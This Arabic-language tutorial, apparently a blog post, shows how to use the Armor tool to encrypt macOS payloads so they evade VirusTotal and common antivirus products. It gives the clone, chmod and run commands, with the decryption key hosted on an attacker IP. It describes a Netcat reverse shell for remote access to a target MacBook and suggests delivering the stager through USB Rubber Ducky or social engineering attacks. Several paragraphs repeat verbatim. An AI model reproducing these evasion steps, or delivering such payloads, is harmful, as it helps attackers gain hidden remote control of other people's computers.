عمل بايلود مشفر لنظام التشغيل MacOS لتجنب برنامج مكافحة الفيروسات باستخدام اداة ARMOR
تعد تشفير الحمولات النافعة وأجهزة ترميز التشفير أكثر فعالية ضد نظام التشغيل MacOS مما قد يتصور المرء. من السهل جدًا التهرب من برنامج مكافحة الفيروسات VirusTotal و macOS باستخدام بعض الحيل البسيطة.
كان الهدف من هذا المشروع هو تحديد موقع الحمولة النافعة لنظام MacOS المعروفة والتي يمكن اكتشافها بسهولة ، ثم العثور على طريقة تسمح بتنفيذ نفس الحمولة على جهاز MacBook المستهدف. هذا من شأنه أن يؤكد بشكل موثوق إذا كان أي طريقة التهرب المكتشفة كانت فعالة في تنفيذ الحمولات المعروفة. بالإضافة إلى اختبار الملفات الضارة ضد VirusTotal ، تم اختبارها في macOS Mojave (الإصدار 10.14) ضد برامج مكافحة الفيروسات الشائعة مثل Avast و AVG و BitDefender و Sophos و ClamXAV.
كيف تعمل أداة Armor
سيقوم Armor بتشفير محتويات أي ملف يتم تقديمه. يمكن أن يحتوي الملف على سطر واحد ، أو نص بيثون معقد يحتوي على مئات أسطر التعليمات البرمجية ، أو نص ما بعد الاستغلال مكتوب بأية لغة برمجة تدعمها ماك أو إس. يتم تشفير محتويات الملف باستخدام مفتاح لمرة واحدة. ثم يتم استضافة المفتاح مؤقتًا على خادم المهاجم وتنزيله بواسطة MacBook الهدف لفك تشفير الحمولة.
يوجد أدناه مثال على استخدام Armor مع حمولة Netcat بسيطة.
يوجد أدناه مثال على استخدام Armor مع حمولة Netcat بسيطة.
هناك بعض الأشياء التي تحدث في هذا GIF. ساوضح كل خطوة في النظام.
يتم تشغيل مستمع Netcat على المنفذ 4444. تتم قراءة ملف "payload.txt" ويظهر أنه يحتوي على أداة Bash بسيطة واحدة ، عند تنفيذها ، ستنشئ اتصال TCP بين جهاز MacBook المستهدف في مستمع Netcat للمهاجم. يستخدم درع لتشفير باش بطانة واحدة. يستخدم Ncat لاستضافة مفتاح فك التشفير على خادم المهاجم. عندما يتم تنفيذ stager في MacBook الهدف (لا يظهر في GIF) ، يتم فك تشفير bash one-line وتنفيذه دون كتابة أي بيانات على القرص الصلب. ينهي Ncat المستمع فورًا بعد استخدام المفتاح. عند إنشاء اتصال Netcat ، يمكن للمهاجم الوصول عن بُعد إلى جهاز MacBook المستهدف.
يتم تشغيل مستمع Netcat على المنفذ 4444. تتم قراءة ملف "payload.txt" ويظهر أنه يحتوي على أداة Bash بسيطة واحدة ، عند تنفيذها ، ستنشئ اتصال TCP بين جهاز MacBook المستهدف في مستمع Netcat للمهاجم. يستخدم درع لتشفير باش بطانة واحدة. يستخدم Ncat لاستضافة مفتاح فك التشفير على خادم المهاجم. عندما يتم تنفيذ stager في MacBook الهدف (لا يظهر في GIF) ، يتم فك تشفير bash one-line وتنفيذه دون كتابة أي بيانات على القرص الصلب. ينهي Ncat المستمع فورًا بعد استخدام المفتاح. عند إنشاء اتصال Netcat ، يمكن للمهاجم الوصول عن بُعد إلى جهاز MacBook المستهدف.
تثبيت اداة Armor
يمكن العثور على Armor على صفحة GitHub واستنساخها باستخدام الأمر أدناه.
git clone https://github.com/tokyoneon/Armor
/cd Armor
ثم ، إعطاء صلاحيات chmod لل armor.sh لتنفيذ.
chmod +x armor.sh
انشاء بايلود
استخدم الأمر أدناه لإنشاء ملف payload.txt.
echo 'ls -la' >/tmp/payload.txt
تشفير البايلود باستخدام Armor
الآن ، قم بتشفير محتويات payload.txt باستخدام Armor باستخدام الأمر أدناه.
armor.sh /tmp/payload.txt 1.2.3.4 443/.
عنوان 1.2.3.4 هو عنوان IP للمهاجم حيث سيتم استضافة مفتاح فك التشفير. يمكن أن يكون هذا عنوان IP محليًا (على سبيل المثال ، "192.168.1.2") أو عنوان خادم خاص افتراضي. سيستخدم خادم Ncat هذا العنوان ورقم المنفذ (443) لاستضافة مفتاح فك التشفير. يمكن أن يكون المنفذ 443 أي منفذ متاح في نظام Kali Linux للمهاجمين.
إذا لم يتم العثور على LibreSSL (إصدار OpenSSL الذي تستخدمه macOS) في كالي ، فسيحاول Armor تثبيته. إصدار OpenSSL الموجود في Kali / Debian غير متوافق مع LibreSSL الخاص بـ macOS ، لسوء الحظ.
إذا لم يتم العثور على LibreSSL (إصدار OpenSSL الذي تستخدمه macOS) في كالي ، فسيحاول Armor تثبيته. إصدار OpenSSL الموجود في Kali / Debian غير متوافق مع LibreSSL الخاص بـ macOS ، لسوء الحظ.
تشغيل Ncat Listener
قبل تنفيذ stager ، تشغيل Ncat Listener. سيحاول Armor تشغيله تلقائيًا.
تنفيذ Stager
سيقوم Armor بإنتاج أمر مشفر ومشفّر مخصص للهدف MacBook. يمكن تضمين هذا stager في هجمات انخفاض AppleScript for USB ، أو استخدامه في هجمات USB Rubber Ducky ، أو ربما استخدامه في هجمات الهندسة الاجتماعية الأخرى. في الوقت الحالي ، سنقوم فقط بنسخ ولصق stager في جهاز MacBook تيرمنال.
عند تنفيذ stager ، ستقوم تيرمنال MacBook بعمل قائمة (ls) لجميع الملفات (-a) في الدليل الحالي بتنسيق طويل (-l).
عند تنفيذ stager ، ستقوم تيرمنال MacBook بعمل قائمة (ls) لجميع الملفات (-a) في الدليل الحالي بتنسيق طويل (-l).
لقد قمنا بتشفير أمر ls بسيط ، ولكن تخيل الاحتمالات عند تطبيق نفس درجة التعتيم على برنامج Python متطور مصمم لتنفيذ مجموعة متنوعة من الهجمات المتقدمة. لا يقوم برنامج مكافحة الفيروسات حاليًا بفك تشفير سلاسل base64 - وحتى لو تم ذلك ، لا يمكن قراءة الحمولة المضمنة والمشفرة.
إرسال تعليق